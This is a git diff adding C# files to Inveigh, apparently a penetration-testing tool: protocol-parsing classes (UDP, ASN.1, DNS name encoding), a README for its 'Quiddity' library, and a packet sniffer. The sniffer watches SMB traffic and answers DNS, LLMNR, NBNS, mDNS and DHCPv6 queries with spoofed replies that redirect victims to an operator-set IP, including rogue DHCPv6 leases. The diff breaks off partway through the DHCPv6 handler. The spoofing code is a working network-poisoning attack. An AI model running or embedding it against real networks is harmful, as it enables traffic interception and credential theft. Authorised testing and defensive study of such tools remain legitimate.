+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.IO;
+using System.Net;
+
+namespace Quiddity.UDP
+{
+ class UDPHeader
+ {
+ // https://tools.ietf.org/html/rfc768
+ public ushort SourcePort { get; set; }
+ public ushort DestinationPort { get; set; }
+ public ushort Length { get; set; }
+ public ushort Checksum { get; set; }
+
+ public UDPHeader()
+ {
+ this.SourcePort = 0;
+ this.DestinationPort = 0;
+ this.Length = 0;
+ this.Checksum = 0;
+ }
+
+ public UDPHeader(byte[] data, int offset)
+ {
+ ReadBytes(data, offset);
+ }
+
+ public UDPHeader ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.SourcePort = packetReader.BigEndianReadUInt16();
+ this.DestinationPort = packetReader.BigEndianReadUInt16();
+ this.Length = packetReader.BigEndianReadUInt16();
+ this.Checksum = packetReader.ReadUInt16();
+ return this;
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.BigEndianWrite(this.SourcePort);
+ packetWriter.BigEndianWrite(this.DestinationPort);
+ packetWriter.BigEndianWrite(this.Length);
+ packetWriter.Write(this.Checksum);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ public void IPv6Checksum(byte[] data, string clientIP, string sourceIP, int nextHeader)
+ {
+ byte[] pseudoHeader = IPv6PseudoHeader(clientIP, sourceIP, nextHeader, data.Length);
+ int e = 0;
+
+ if ((pseudoHeader.Length + data.Length) % 2 != 0)
+ {
+ e = 1;
+ }
+
+ byte[] packet = new byte[pseudoHeader.Length + data.Length + e];
+ Buffer.BlockCopy(pseudoHeader, 0, packet, 0, pseudoHeader.Length);
+ Buffer.BlockCopy(data, 0, packet, pseudoHeader.Length, data.Length);
+ uint packetChecksum = 0;
+ int index = 0;
+
+ while (index < packet.Length)
+ {
+ packetChecksum += Convert.ToUInt32(BitConverter.ToUInt16(packet, index));
+ index += 2;
+ }
+
+ packetChecksum = (packetChecksum >> 16) + (packetChecksum & 0xffff);
+ packetChecksum += (packetChecksum >> 16);
+ this.Checksum = (ushort)~packetChecksum;
+ }
+
+ private byte[] IPv6PseudoHeader(string clientIP, string sourceIP, int nextHeader, int length)
+ {
+ byte[] lengthData = BitConverter.GetBytes(length);
+ Array.Reverse(lengthData);
+ byte[] pseudoHeader = new byte[40];
+ Buffer.BlockCopy(IPAddress.Parse(sourceIP).GetAddressBytes(), 0, pseudoHeader, 0, 16);
+ Buffer.BlockCopy(IPAddress.Parse(clientIP).GetAddressBytes(), 0, pseudoHeader, 16, 16);
+ Buffer.BlockCopy(lengthData, 0, pseudoHeader, 32, 4);
+ pseudoHeader[39] = (byte)nextHeader;
+ return pseudoHeader;
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Support/ASN1.cs b/Inveigh/Protocols/Quiddity/Support/ASN1.cs
new file mode 100644
index 0000000..b1862c7
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Support/ASN1.cs
@@ -0,0 +1,284 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Text;
+
+namespace Quiddity.Support
+{
+ // https://github.com/mono/mono/blob/main/mcs/class/Mono.Security/Mono.Security/ASN1.cs
+
+ class ASN1
+ {
+ public byte[] Tag { get; set; }
+ public byte[] Length { get; set; }
+ public byte[] Value { get; set; }
+
+ public ASN1()
+ {
+ this.Tag = new byte[1];
+ this.Length = new byte[1];
+ this.Value = new byte[0];
+ }
+
+ public byte[] GetBytes(ASN1 packet)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(packet.Tag);
+ packetWriter.Write(packet.Length);
+ packetWriter.Write(packet.Value);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ public byte[] GetTagBytes(byte[] data, ref int index, int length, byte tag, out byte tagDecoded)
+ {
+ tagDecoded = 0x00;
+ byte[] value = new byte[0];
+ int valueLength;
+
+ while (index < length - 1 && tag != tagDecoded)
+ {
+ DecodeTag(data, ref index, out tagDecoded, out valueLength, out value);
+
+ if (tagDecoded == 0 || tag == tagDecoded)
+ {
+ continue;
+ }
+
+ if ((tagDecoded & 0x20) == 0x20)
+ {
+ int decodePosistion = index;
+ value = GetTagBytes(data, ref decodePosistion, (decodePosistion + valueLength), tag, out tagDecoded);
+ }
+
+ index += valueLength;
+ }
+
+ return value;
+ }
+
+ public byte GetTag(byte[] data)
+ {
+ byte tagDecoded;
+ byte[] value;
+ int valueLength;
+ int index = 0;
+
+ DecodeTag(data, ref index, out tagDecoded, out valueLength, out value);
+ return tagDecoded;
+ }
+
+ public static byte[] GetTagBytes(int tag, byte[] data)
+ {
+ byte tagDecoded = 0x00;
+ int index = 0;
+ ASN1 asn1 = new ASN1();
+ return asn1.GetTagBytes(data, ref index, data.Length, (byte)tag, out tagDecoded);
+ }
+
+ public static byte[] GetTagBytes(int tag, byte[] data, int index)
+ {
+ byte tagDecoded = 0x00;
+ ASN1 asn1 = new ASN1();
+ return asn1.GetTagBytes(data, ref index, data.Length, (byte)tag, out tagDecoded);
+ }
+
+ public byte[] Decode(byte[] data, ref int index, int length)
+ {
+ byte tag;
+ byte[] value = new byte[0];
+ int valueLength;
+ int i = 0;
+
+ while (index < length - 1)
+ {
+ DecodeTag(data, ref index, out tag, out valueLength, out value);
+
+ if (tag == 0)
+ {
+ continue;
+ }
+
+ if((tag & 0x20) == 0x20)
+ {
+ int decodePosistion = index;
+ value = Decode(data, ref decodePosistion, (decodePosistion + valueLength));
+ }
+
+ index += valueLength;
+ i++;
+
+ }
+
+ return value;
+ }
+
+ public void DecodeTag(byte[] data, ref int index, out byte tag, out int length, out byte[] value)
+ {
+ tag = data[index++];
+ length = data[index++];
+
+ if ((length & 0x80) == 0x80)
+ {
+ int lengthCount = length & 0x7f;
+ length = 0;
+
+ for (int i = 0; i < lengthCount; i++)
+ {
+ length = length * 256 + data[index++];
+ }
+
+ }
+
+ value = new byte[length];
+ Buffer.BlockCopy(data, index, value, 0, length);
+ }
+
+ public byte[] Encode(byte tag, byte[] data)
+ {
+ int dataLength = data.Length;
+ this.Tag[0] = tag;
+
+ if (dataLength <= 127)
+ {
+ this.Length[0] = (byte)dataLength;
+ }
+ else if (dataLength <= 255)
+ {
+ this.Length = new byte[2];
+ this.Length[0] = 0x81;
+ this.Length[1] = (byte)dataLength;
+ }
+ else if (dataLength > 255)
+ {
+ this.Length = new byte[3];
+ this.Length[0] = 0x82;
+ this.Length[1] = (byte)(dataLength >> 8);
+ this.Length[2] = (byte)(dataLength);
+ }
+
+ return Utilities.BlockCopy(this.Tag, this.Length, data);
+ }
+
+ public static byte[] Encode(int tag, byte[] data)
+ {
+ ASN1 asn1 = new ASN1();
+ return asn1.Encode((byte)tag, data);
+ }
+
+ public static string[] DecodeOctetStringArray (byte[] data)
+ {
+ int index = Array.IndexOf<byte>(data, 0x04, 0);
+ List<string> list = new List<string>();
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+
+ while (index > -1)
+ {
+ memoryStream.Position += 2;
+ list.Add(Encoding.UTF8.GetString(packetReader.ReadBytes(data[index + 1])));
+ index = Array.IndexOf<byte>(data, 0x04, (int)memoryStream.Position);
+ }
+
+ }
+
+ return list.ToArray();
+ }
+
+ public static int GetLength(int index, byte[] data)
+ {
+ int length = 0;
+
+ switch (data[index])
+ {
+
+ case 0x84:
+ {
+ index++;
+ byte[] lengthData = new byte[4];
+ Buffer.BlockCopy(data, index, lengthData, 0, 4);
+ Array.Reverse(lengthData);
+ length = BitConverter.ToInt32(lengthData, 0);
+ length += 4;
+ }
+ break;
+
+ case 0x83:
+ {
+ index++;
+ byte[] lengthData = new byte[3];
+ Buffer.BlockCopy(data, index, lengthData, 0, 4);
+ Array.Reverse(lengthData);
+ length = BitConverter.ToInt32(lengthData, 0);
+ length += 3;
+ }
+ break;
+
+ case 0x82:
+ {
+ index++;
+ byte[] lengthData = new byte[2];
+ Buffer.BlockCopy(data, index, lengthData, 0, 2);
+ Array.Reverse(lengthData);
+ length = BitConverter.ToInt16(lengthData, 0);
+ length += 2;
+ }
+ break;
+
+ case 0x81:
+ {
+ length = data[index++];
+ length += 3;
+ }
+ break;
+
+ default:
+ length = data[index];
+ length += 2;
+ break;
+
+ }
+
+ return length;
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Support/Utilities.cs b/Inveigh/Protocols/Quiddity/Support/Utilities.cs
new file mode 100644
index 0000000..51c994a
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Support/Utilities.cs
@@ -0,0 +1,126 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.Support
+{
+ class Utilities
+ {
+
+ public static byte[] BlockCopy(byte[] Data1, byte[] Data2)
+ {
+ byte[] data = new byte[Data1.Length + Data2.Length];
+ Buffer.BlockCopy(Data1, 0, data, 0, Data1.Length);
+ Buffer.BlockCopy(Data2, 0, data, Data1.Length, Data2.Length);
+ return data;
+ }
+
+ public static byte[] BlockCopy(byte[] Data1, byte[] Data2, byte[] Data3)
+ {
+ byte[] data = new byte[Data1.Length + Data2.Length + Data3.Length];
+ Buffer.BlockCopy(Data1, 0, data, 0, Data1.Length);
+ Buffer.BlockCopy(Data2, 0, data, Data1.Length, Data2.Length);
+ Buffer.BlockCopy(Data3, 0, data, (Data1.Length + Data2.Length), Data3.Length);
+ return data;
+ }
+
+ public static byte[] BlockCopy(byte[] Data1, byte[] Data2, byte[] Data3, byte[] Data4)
+ {
+ byte[] data = new byte[Data1.Length + Data2.Length + Data3.Length + Data4.Length];
+ Buffer.BlockCopy(Data1, 0, data, 0, Data1.Length);
+ Buffer.BlockCopy(Data2, 0, data, Data1.Length, Data2.Length);
+ Buffer.BlockCopy(Data3, 0, data, (Data1.Length + Data2.Length), Data3.Length);
+ Buffer.BlockCopy(Data4, 0, data, (Data1.Length + Data2.Length + Data3.Length), Data4.Length);
+ return data;
+ }
+
+ public static bool ArrayIsNullOrEmpty(Array array)
+ {
+ return (array == null || array.Length == 0);
+ }
+
+ public static ushort DataToUInt16(byte[] data)
+ {
+ return BitConverter.ToUInt16(data, 0);
+ }
+
+ public static byte[] GetDNSNameBytes(string name, bool addByte)
+ {
+ var indexList = new List<int>();
+
+ for (int i = name.IndexOf('.'); i > -1; i = name.IndexOf('.', i + 1))
+ {
+ indexList.Add(i);
+ }
+
+ using (MemoryStream nameMemoryStream = new MemoryStream())
+ {
+ string nameSection = "";
+ int nameStart = 0;
+
+ if (indexList.Count > 0)
+ {
+ int nameEnd = 0;
+
+ foreach (int index in indexList)
+ {
+ nameEnd = index - nameStart;
+ nameMemoryStream.Write(BitConverter.GetBytes(nameEnd), 0, 1);
+ nameSection = name.Substring(nameStart, nameEnd);
+ nameMemoryStream.Write(Encoding.UTF8.GetBytes(nameSection), 0, nameSection.Length);
+ nameStart = index + 1;
+ }
+
+ }
+
+ nameSection = name.Substring(nameStart);
+ nameMemoryStream.Write(BitConverter.GetBytes(nameSection.Length), 0, 1);
+ nameMemoryStream.Write(Encoding.UTF8.GetBytes(nameSection), 0, nameSection.Length);
+
+ if (addByte)
+ {
+ nameMemoryStream.Write((new byte[1] { 0x00 }), 0, 1);
+ }
+
+ return nameMemoryStream.ToArray();
+ }
+
+ }
+
+
+ }
+
+}
diff --git a/Inveigh/Protocols/README.md b/Inveigh/Protocols/README.md
new file mode 100644
index 0000000..13f604f
--- /dev/null
+++ b/Inveigh/Protocols/README.md
@@ -0,0 +1,17 @@
+# Quiddity# Quiddity
+
+Quiddity is a work in progress C# miscellaneous protocol library meant for infosec testing/defense. The library contains classes for packet segment structures, protocol functions, and listeners. This library is currently being developed as part of Inveigh and other, unreleased projects. It's likely to go through major changes.
+
+## Example Usage
+
+### LLMNR Listener
+
+```
+LLMNRListener llmnrListener = new LLMNRListener();
+llmnrListener.Start(listenerIP, replyIPv4, replyIPv6);
+```
+### Parse SMB2 Header
+```
+SMB2Header smb2Header = new SMB2Header(byteArray);
+Console.WriteLine(smb2Header.Command); // output SMB2 command type of parsed header
+``` \ No newline at end of file
diff --git a/Inveigh/Sniffer/Sniffer.cs b/Inveigh/Sniffer/Sniffer.cs
new file mode 100644
index 0000000..cc6e08a
--- /dev/null
+++ b/Inveigh/Sniffer/Sniffer.cs
@@ -0,0 +1,689 @@
+using System;
+using System.Net;
+using System.Net.Sockets;
+using System.IO;
+using Quiddity.LLMNR;
+using Quiddity.Support;
+using Quiddity.UDP;
+using Quiddity.NetBIOS;
+using Quiddity.MDNS;
+using Quiddity.DNS;
+using Quiddity.SMB;
+using Quiddity.TCP;
+using Quiddity.IP;
+using Quiddity.SMB2;
+using Quiddity.NTLM;
+using Quiddity.DHCPv6;
+using System.Threading;
+using System.Text;
+
+namespace Inveigh
+{
+ class Sniffer
+ {
+ public static void Start(string protocol, string snifferIP, bool isIPV6)
+ {
+ byte[] snifferIn = new byte[4] { 1, 0, 0, 0 };
+ byte[] snifferOut = new byte[4] { 1, 0, 0, 0 };
+ byte[] snifferData = new byte[0];
+ byte[] snifferBuffer = new byte[1500];
+ Socket snifferSocket;
+ IPEndPoint snifferIPEndPoint;
+ EndPoint snifferEndPoint;
+ AddressFamily addressFamily = AddressFamily.InterNetwork;
+
+ if (isIPV6)
+ {
+ snifferEndPoint = new IPEndPoint(IPAddress.IPv6Any, 0);
+ addressFamily = AddressFamily.InterNetworkV6;
+ }
+ else
+ {
+ snifferEndPoint = new IPEndPoint(IPAddress.Any, 0);
+ }
+
+ try
+ {
+
+ if (!isIPV6)
+ {
+ snifferSocket = new Socket(addressFamily, SocketType.Raw, ProtocolType.IP);
+ snifferSocket.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, true);
+ }
+ else
+ {
+
+ if (String.Equals(protocol, "UDP"))
+ {
+ snifferSocket = new Socket(addressFamily, SocketType.Raw, ProtocolType.Udp);
+ }
+ else
+ {
+ snifferSocket = new Socket(addressFamily, SocketType.Raw, ProtocolType.IP);
+ snifferSocket.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.PacketInformation, true);
+ }
+
+ }
+
+ snifferIPEndPoint = new IPEndPoint(IPAddress.Parse(snifferIP), 0);
+ snifferSocket.ReceiveBufferSize = 4096;
+ snifferSocket.Bind(snifferIPEndPoint);
+ snifferSocket.IOControl(IOControlCode.ReceiveAll, snifferIn, snifferOut);
+ }
+ catch (Exception ex)
+ {
+
+ if (ex.Message.Equals("An attempt was made to access a socket in a way forbidden by its access permissions"))
+ {
+ Output.Queue(String.Format("[!] Error starting packet sniffer, check if shell has elevated privilege or set -Sniffer N for listener only mode.", DateTime.Now.ToString("s")));
+ Thread.Sleep(10);
+ Program.isRunning = false;
+ }
+ else
+ {
+ Console.WriteLine(ex.Message);
+ }
+
+ throw;
+ }
+
+ int packetLength;
+
+ while (Program.isRunning)
+ {
+
+ try
+ {
+ IPPacketInformation packetInformation = new IPPacketInformation();
+ SocketFlags socketFlags = SocketFlags.None;
+
+ try
+ {
+ packetLength = snifferSocket.ReceiveMessageFrom(snifferBuffer, 0, snifferBuffer.Length, ref socketFlags, ref snifferEndPoint, out packetInformation);
+ snifferData = new byte[packetLength];
+ Buffer.BlockCopy(snifferBuffer, 0, snifferData, 0, packetLength);
+ }
+ catch
+ {
+ packetLength = 0;
+ }
+
+ if (packetLength > 0)
+ {
+ IPHeader ipHeader = new IPHeader();
+ MemoryStream memoryStream = new MemoryStream(snifferData, 0, packetLength);
+ BinaryReader binaryReader = new BinaryReader(memoryStream);
+ IPAddress sourceIPAddress;
+ int protocolNumber;
+ string sourceIP = "";
+ string destinationIP = "";
+ int ipHeaderLength = 0; // no header for IPv6
+
+ if (!isIPV6)
+ {
+ ipHeader.ReadBytes(snifferData, 0);
+ ipHeaderLength = ipHeader.IHL;
+ byte versionHL = binaryReader.ReadByte();
+ protocolNumber = ipHeader.Protocol;
+ sourceIP = ipHeader.SourceAddress.ToString();
+ destinationIP = ipHeader.DestinationAddress.ToString();
+ }
+ else
+ {
+ sourceIPAddress = (snifferEndPoint as IPEndPoint).Address;
+ sourceIP = sourceIPAddress.ToString();
+ destinationIP = packetInformation.Address.ToString();
+
+ if (String.Equals(protocol, "UDP"))
+ {
+ protocolNumber = 17;
+ }
+ else
+ {
+ protocolNumber = 6; // this doesn't keep UDP traffic out of TCP section
+ }
+
+ }
+
+ switch (protocolNumber)
+ {
+ case 6:
+ TCPHeader tcpHeader = new TCPHeader();
+ bool isTCP = true; // IPv6 workaround
+
+ try
+ {
+ tcpHeader.ReadBytes(snifferData, ipHeaderLength);
+
+ if (tcpHeader.SYN && !tcpHeader.ACK && snifferIP.StartsWith(destinationIP))
+ {
+ Output.Queue(String.Format("[.] [{0}] TCP({1}) SYN packet from {2}:{3}", Output.Timestamp(), tcpHeader.DestinationPort, sourceIP, tcpHeader.SourcePort));
+ }
+
+ }
+ catch
+ {
+ isTCP = false;
+ }
+
+ string tcpDestinationPort = tcpHeader.DestinationPort.ToString();
+ string tcpSourcePort = tcpHeader.SourcePort.ToString();
+
+ if (tcpHeader.DataOffset >= 20 && isTCP)
+ {
+ byte[] tcpPayload = new byte[0];
+
+ try
+ {
+ tcpPayload = new byte[packetLength - tcpHeader.DataOffset - ipHeaderLength];
+ }
+ catch
+ {
+ isTCP = false;
+ }
+
+ if (tcpPayload.Length > 0 && isTCP)
+ {
+
+ Buffer.BlockCopy(snifferData, ipHeaderLength + tcpHeader.DataOffset, tcpPayload, 0, tcpPayload.Length);
+
+ switch (tcpHeader.DestinationPort)
+ {
+ case 139:
+ ProcessSMB(tcpPayload, sourceIP, destinationIP, tcpSourcePort, tcpDestinationPort);
+ break;
+
+ case 445:
+ ProcessSMB(tcpPayload, sourceIP, destinationIP, tcpSourcePort, tcpDestinationPort);
+ break;
+ }
+
+ switch (tcpHeader.SourcePort)
+ {
+ case 139:
+ ProcessSMB(tcpPayload, sourceIP, destinationIP, tcpSourcePort, tcpDestinationPort);
+ break;
+
+ case 445:
+ ProcessSMB(tcpPayload, sourceIP, destinationIP, tcpSourcePort, tcpDestinationPort);
+ break;
+ }
+
+ }
+ }
+
+ break;
+
+ case 17:
+ UDPHeader udpHeader = new UDPHeader(snifferData, ipHeaderLength);
+ byte[] udpPayload = new byte[udpHeader.Length - 8];
+ Buffer.BlockCopy(snifferData, ipHeaderLength + 8, udpPayload, 0, udpPayload.Length);
+
+ switch (udpHeader.DestinationPort)
+ {
+
+ case 53:
+ {
+
+ if (snifferIP.StartsWith(destinationIP))
+ {
+ ProcessDNSRequest(udpPayload, sourceIP, udpHeader.SourcePort, snifferIP, 53);
+ }
+
+ }
+ break;
+
+ case 137:
+ {
+
+ if (!isIPV6)
+ {
+ ProcessNBNSRequest(udpPayload, sourceIP, udpHeader.SourcePort, snifferIP, 5355);
+ }
+
+ }
+ break;
+
+ case 547:
+ {
+
+ if (isIPV6)
+ {
+ ProcessDHCPv6Request(udpPayload, sourceIP, udpHeader.SourcePort, snifferIP, 547);
+ }
+
+ }
+ break;
+
+ case 5353:
+ {
+ ProcessMDNSRequest(udpPayload, sourceIP, udpHeader.SourcePort, snifferIP, 5353);
+ }
+ break;
+
+ case 5355:
+ {
+ ProcessLLMNRRequest(udpPayload, sourceIP, udpHeader.SourcePort, snifferIP, 5355);
+ }
+ break;
+
+ }
+ break;
+ }
+
+ }
+
+ }
+ catch (Exception ex)
+ {
+ Output.Queue(String.Format("[-] [{0}] Packet sniffing error detected - {1}", Output.Timestamp(), ex.ToString()));
+ }
+
+ }
+
+ }
+
+ internal static void ProcessDNSRequest(byte[] data, string clientIP, int clientPort, string sourceIP, int sourcePort)
+ {
+
+ DNSPacket packet = new DNSPacket(data)
+ {
+ Host = Program.argDNSHost,
+ TTL = uint.Parse(Program.argDNSTTL)
+ };
+
+ DNSListener listener = new DNSListener(UInt32.Parse(Program.argDNSTTL));
+
+ if (packet.Header.IsQuery())
+ {
+
+ if (listener.Check(packet.Question.Name, packet.Question.Type, clientIP, out string message))
+ {
+ byte[] buffer = packet.GetBytes(UInt32.Parse(Program.argDNSTTL), Program.dnsSerial, Program.argSpooferIP, Program.argSpooferIPv6);
+
+ if (!Utilities.ArrayIsNullOrEmpty(buffer))
+ {
+ UDPSocket.SendTo(clientIP, clientPort, sourceIP, sourcePort, buffer, false);
+ }
+
+ }
+
+ Output.SpooferOutput("DNS", packet.Question.Type, packet.Question.Name, clientIP, message);
+ }
+
+ }
+
+ internal static void ProcessLLMNRRequest(byte[] data, string clientIP, int clientPort, string sourceIP, int sourcePort)
+ {
+ LLMNRPacket packet = new LLMNRPacket(data);
+ LLMNRListener listener = new LLMNRListener();
+
+ if (packet.Header.IsQuery())
+ {
+
+ if (listener.Check(packet.Question.Name, packet.Question.Type, clientIP, out string message))
+ {
+ byte[] buffer = packet.GetBytes(UInt32.Parse(Program.argLLMNRTTL), Program.argSpooferIP, Program.argSpooferIPv6);
+
+ if (!Utilities.ArrayIsNullOrEmpty(buffer))
+ {
+ UDPSocket.SendTo(clientIP, clientPort, sourceIP, sourcePort, buffer, false);
+ }
+
+ }
+
+ Output.SpooferOutput("LLMNR", packet.Question.Type, packet.Question.Name, clientIP, message);
+ }
+
+ }
+
+ internal static void ProcessNBNSRequest(byte[] data, string clientIP, int clientPort, string sourceIP, int sourcePort)
+ {
+ NetBIOSNSPacket packet = new NetBIOSNSPacket(data);
+ NBNSListener listener = new NBNSListener();
+
+ if (packet.Header.IsQuery())
+ {
+
+ if (listener.Check(packet.Question.Name, packet.Question.Type, clientIP, out string message))
+ {
+ byte[] buffer = packet.GetBytes(UInt32.Parse(Program.argNBNSTTL), Program.argSpooferIP);
+
+ if (!Utilities.ArrayIsNullOrEmpty(buffer))
+ {
+ UDPSocket.SendTo(clientIP, clientPort, sourceIP, sourcePort, buffer, false);
+ }
+
+ }
+
+ Output.SpooferOutput("NBNS", packet.Question.Type, packet.Question.Name, clientIP, message);
+ }
+
+ }
+
+ internal static void ProcessMDNSRequest(byte[] data, string clientIP, int clientPort, string sourceIP, int sourcePort)
+ {
+ MDNSPacket packet = new MDNSPacket(data);
+ MDNSListener listener = new MDNSListener();
+ string destinationIP = clientIP;
+
+ if (packet.Header.IsQuery())
+ {
+
+ if (listener.Check(packet.Question.Name, packet.Question.QuestionType, packet.Question.Type, clientIP, out string message))
+ {
+
+ if (packet.Question.QuestionType.Equals("QM") && !Program.enabledMDNSUnicast && string.Equals(IPAddress.Parse(clientIP).AddressFamily.ToString(), "InterNetwork"))
+ {
+ destinationIP = "224.0.0.251";
+ }
+ else if (packet.Question.QuestionType.Equals("QM") && !Program.enabledMDNSUnicast && string.Equals(IPAddress.Parse(clientIP).AddressFamily.ToString(), "InterNetworkV6"))
+ {
+ destinationIP = "ff02::fb";
+ }
+
+ byte[] buffer = packet.GetBytes(uint.Parse(Program.argMDNSTTL), Program.argSpooferIP, Program.argSpooferIPv6);
+
+ if (!Utilities.ArrayIsNullOrEmpty(buffer))
+ {
+ UDPSocket.SendTo(destinationIP, clientPort, sourceIP, sourcePort, buffer, false);
+ }
+
+ }
+
+ string type = string.Concat(packet.Question.QuestionType, ")(", packet.Question.Type);
+ Output.SpooferOutput("mDNS", type, packet.Question.Name, clientIP, message);
+ }
+
+ }
+
+ internal static void ProcessDHCPv6Request(byte[] data, string clientIP, int clientPort, string sourceIP, int sourcePort)
+ {
+ DHCPv6Packet packet = new DHCPv6Packet(data);
+ DHCPv6Listener listener = new DHCPv6Listener();
+
+ if (packet.Message?.MsgType == 1 || packet.Message?.MsgType == 3 || packet.Message?.MsgType == 5)
+ {
+ bool isMicrosoft = false;
+
+ if (packet.Option16?.EnterpriseNumber == 311)
+ {
+ isMicrosoft = true;
+ }
+
+ byte msgType = 0;
+ string leaseIP = "";
+
+ switch (packet.Message.MsgType)
+ {
+
+ case 1:
+ msgType = 2;
+ break;
+
+ case 3:
+ {
+ byte[] renewIP = new DHCPv6Option5(packet.Option3.IANAOptions).IPv6Address;
+ leaseIP = new IPAddress(renewIP).ToString();
+ msgType = 7;
+ }
+ break;
+
+ case 5:
+ {
+ byte[] renewIP = new DHCPv6Option5(packet.Option3.IANAOptions).IPv6Address;
+ leaseIP = new IPAddress(renewIP).ToString();
+ msgType = 7;
+ }
+ break;
+ }
+
+ byte[] clientMACData = new DHCPv6DUIDLLT(packet.Option1.DUID).LinkLayerAddress;
+ string clientMAC = BitConverter.ToString(clientMACData).Replace("-", ":");
+ string clientHostName = "";
+
+ if (!String.IsNullOrEmpty(packet.Option39?.DomainName))
+ {
+ clientHostName = packet.Option39.DomainName;
+ }
+
+ if (listener.Check(clientMAC, clientHostName, Program.argMAC, isMicrosoft, out string message))
+ {
+
+ if (msgType == 2)
+ {
+ leaseIP = "fe80::" + Program.dhcpv6Random + ":" + Program.dhcpv6IPIndex;
+ Program.dhcpv6IPIndex++;
+ }
+
+ byte[] buffer = new DHCPv6Packet().GetBytes(msgType, leaseIP, Program.argMAC, Program.argSpooferIPv6, Program.argDNSSuffix, uint.Parse(Program.argDHCPv6TTL), packet);
+
+ if (!Utilities.ArrayIsNullOrEmpty(buffer))
+ {
+ UDPSocket.SendTo(clientIP, clientPort, sourceIP, sourcePort, buffer, false);
+ }
+ }
+
